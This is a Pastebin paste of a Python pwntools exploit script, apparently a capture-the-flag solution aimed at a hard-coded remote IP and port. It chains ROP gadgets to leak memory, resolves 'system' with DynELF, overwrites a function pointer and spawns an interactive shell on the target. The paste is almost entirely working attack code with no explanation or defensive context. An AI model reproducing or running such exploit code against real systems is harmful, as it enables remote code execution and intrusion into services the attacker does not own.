Guest User

Untitled

a guest
Jun 18th, 2018
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. from pwn import *
  2.  
  3. HOST, PORT = "49.236.136.140", "15010"
  4. # HOST, PORT = "0.0.0.0", 31337
  5. r = remote(HOST, PORT)
  6.  
  7.  
  8. def ii(x): return r.sendline(str(x))
  9.  
  10.  
  11. read = u32(r.recvn(4))
  12.  
  13.  
  14. def rop(ptr, a, b, c):
  15. return 'a' * 8 + p32(0x10578) \
  16. + p32(0) + p32(ptr) + p32(0) + p32(a) + p32(b) + p32(c) + p32(0) + p32(0x1055c) \
  17. + p32(0) * 7 + p32(0x104f8)
  18.  
  19.  
  20. payload = 'sh\x00'
  21.  
  22.  
  23. def init():
  24. global r
  25. r.send(rop(0x2100c, 0, 0x21018, 8 + len(payload)))
  26. time.sleep(1)
  27. r.send(p32(0x102ec) + p32(0x10324) + payload)
  28.  
  29.  
  30. init()
  31.  
  32.  
  33. def leak(addr):
  34. global r
  35. r.send((rop(0x2101c, 1, addr, 0x10)))
  36. try:
  37. data = r.recv(1024)
  38. except:
  39. r.close()
  40. r = remote(HOST, PORT)
  41. init()
  42. return leak(addr)
  43. print hex(addr), `data`
  44. return data
  45.  
  46.  
  47. print hex(read)
  48. d = DynELF(leak, read)
  49. system = d.lookup('system')
  50. r.send(rop(0x2100c, 0, 0x21018, 4))
  51. time.sleep(1)
  52. r.send(p32(system))
  53. pause()
  54. r.send(rop(0x21018, 0x21020, 0, 0))
  55. r.interactive()
Add Comment
Please, Sign In to add comment